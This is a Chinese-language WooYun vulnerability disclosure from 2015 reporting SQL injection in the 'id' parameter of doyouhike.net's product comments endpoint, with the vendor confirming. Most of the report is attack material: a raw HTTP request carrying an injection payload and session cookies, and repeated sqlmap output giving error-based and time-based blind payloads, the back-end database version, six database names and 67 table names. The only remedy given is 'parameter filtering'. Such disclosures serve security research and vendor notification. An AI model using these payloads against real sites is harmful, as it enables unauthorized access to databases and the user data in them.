当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0138446

漏洞标题:磨房网主站SQL注入

相关厂商:doyouhike.net

漏洞作者: 路人甲

提交时间:2015-09-02 10:05

修复时间:2015-10-17 10:20

公开时间:2015-10-17 10:20

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-02: 细节已通知厂商并且等待厂商处理中
2015-09-02: 厂商已经确认,细节仅向厂商公开
2015-09-12: 细节向核心白帽子及相关领域专家公开
2015-09-22: 细节向普通白帽子公开
2015-10-02: 细节向实习白帽子公开
2015-10-17: 细节向公众公开

简要描述:

详细说明:

GET /dujia/product/comments?id=-1'%20OR%203*2*1%3d6%20AND%2000055%3d00055%20--%20&limit=10&page=1 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://www.doyouhike.net:80/
Cookie: PHPSESSID=3s4c23cavdekl73caccl5tsn73; dyh_lastactivity=1441094989; ci_session=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%2259b0fe1b87c6586d1887a5231f7f7823%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A13%3A%22108.61.127.60%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows+NT+6.1%3B+WOW64%29+AppleWebKit%2F53%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1441093840%3B%7Df7258d5f059819ae0d4a3da2153cc48f; dyh_version=old; BAIDUID=B563E07E7FB4A8F497EC7BAC18231A40:FG=1; guid=a742-08e4-9593-4231; OAID=d42862cc581dffd429c54f3c67008240; u2=ed999103-87e3-434f-8936-1e2534f5dd4144C010
Host: www.doyouhike.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*


1.jpg


2.jpg


3.jpg


sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: http://www.doyouhike.net:80/dujia/product/comments?id=-1' OR 3 AND (SELECT 4443 FROM(SELECT COUNT(*),CONCAT(0x716b786a71,(SELECT (ELT(4443=4443,1))),0x717a6a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- UIOK21=6 AND 00055=00055 -- &limit=10&page=1
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: http://www.doyouhike.net:80/dujia/product/comments?id=-1' OR 3 AND (SELECT * FROM (SELECT(SLEEP(5)))TANt)-- bDhc21=6 AND 00055=00055 -- &limit=10&page=1
---
web server operating system: Windows 7
back-end DBMS: MySQL 5.0
current database: 'ezaitu_dive_fin'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: http://www.doyouhike.net:80/dujia/product/comments?id=-1' OR 3 AND (SELECT 4443 FROM(SELECT COUNT(*),CONCAT(0x716b786a71,(SELECT (ELT(4443=4443,1))),0x717a6a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- UIOK21=6 AND 00055=00055 -- &limit=10&page=1
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: http://www.doyouhike.net:80/dujia/product/comments?id=-1' OR 3 AND (SELECT * FROM (SELECT(SLEEP(5)))TANt)-- bDhc21=6 AND 00055=00055 -- &limit=10&page=1
---
web server operating system: Windows 7
back-end DBMS: MySQL 5.0
current database: 'ezaitu_dive_fin'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: http://www.doyouhike.net:80/dujia/product/comments?id=-1' OR 3 AND (SELECT 4443 FROM(SELECT COUNT(*),CONCAT(0x716b786a71,(SELECT (ELT(4443=4443,1))),0x717a6a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- UIOK21=6 AND 00055=00055 -- &limit=10&page=1
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: http://www.doyouhike.net:80/dujia/product/comments?id=-1' OR 3 AND (SELECT * FROM (SELECT(SLEEP(5)))TANt)-- bDhc21=6 AND 00055=00055 -- &limit=10&page=1
---
web server operating system: Windows 7
back-end DBMS: MySQL 5.0
available databases [6]:
[*] ezaitu_dive_fin
[*] ezaitu_jhapi_dev
[*] ezaitu_race
[*] ezaitu_wiki
[*] ezaitu_yizhan
[*] information_schema
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: http://www.doyouhike.net:80/dujia/product/comments?id=-1' OR 3 AND (SELECT 4443 FROM(SELECT COUNT(*),CONCAT(0x716b786a71,(SELECT (ELT(4443=4443,1))),0x717a6a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- UIOK21=6 AND 00055=00055 -- &limit=10&page=1
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: http://www.doyouhike.net:80/dujia/product/comments?id=-1' OR 3 AND (SELECT * FROM (SELECT(SLEEP(5)))TANt)-- bDhc21=6 AND 00055=00055 -- &limit=10&page=1
---
web server operating system: Windows 7
back-end DBMS: MySQL 5.0
Database: ezaitu_dive_fin
[67 tables]
+------------------------------+
| ci_sessions |
| dili_attachments |
| dili_backend_settings |
| dili_cate_fields |
| dili_cate_models |
| dili_fieldtypes |
| dili_menus |
| dili_model_fields |
| dili_models |
| dili_plugins |
| dili_rights |
| dili_roles |
| dili_sessions |
| dili_site_settings |
| dili_u_access_rule |
| dili_u_admins |
| dili_u_authassignment |
| dili_u_authitem |
| dili_u_authitemchild |
| dili_u_c_areas |
| dili_u_c_article_categories |
| dili_u_c_cities |
| dili_u_c_countries |
| dili_u_c_districts |
| dili_u_c_im_categories |
| dili_u_c_orders |
| dili_u_c_position |
| dili_u_c_product_categories |
| dili_u_c_provinces |
| dili_u_c_shops |
| dili_u_groups |
| dili_u_m_ads |
| dili_u_m_article_replies |
| dili_u_m_articles |
| dili_u_m_comments |
| dili_u_m_currencies |
| dili_u_m_discount |
| dili_u_m_favorites |
| dili_u_m_galleries |
| dili_u_m_help_categories |
| dili_u_m_helps |
| dili_u_m_hotels |
| dili_u_m_ims |
| dili_u_m_joins |
| dili_u_m_logs |
| dili_u_m_mailcfg |
| dili_u_m_mails |
| dili_u_m_mailsendlist |
| dili_u_m_messages |
| dili_u_m_navigators |
| dili_u_m_order_logs |
| dili_u_m_order_products |
| dili_u_m_order_products_logs |
| dili_u_m_order_profiles |
| dili_u_m_order_profiles_logs |
| dili_u_m_pages |
| dili_u_m_product_auxiliary |
| dili_u_m_product_properties |
| dili_u_m_products |
| dili_u_m_products_recommend |
| dili_u_m_properties |
| dili_u_m_property_models |
| dili_u_m_tags |
| dili_u_m_users |
| dili_u_product_auxiliary |
| dili_u_user_menus |
| dili_validations |
+------------------------------+

漏洞证明:

修复方案:

参数过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-09-02 10:19

厂商回复:

已确认参数过滤不当

最新状态:

暂无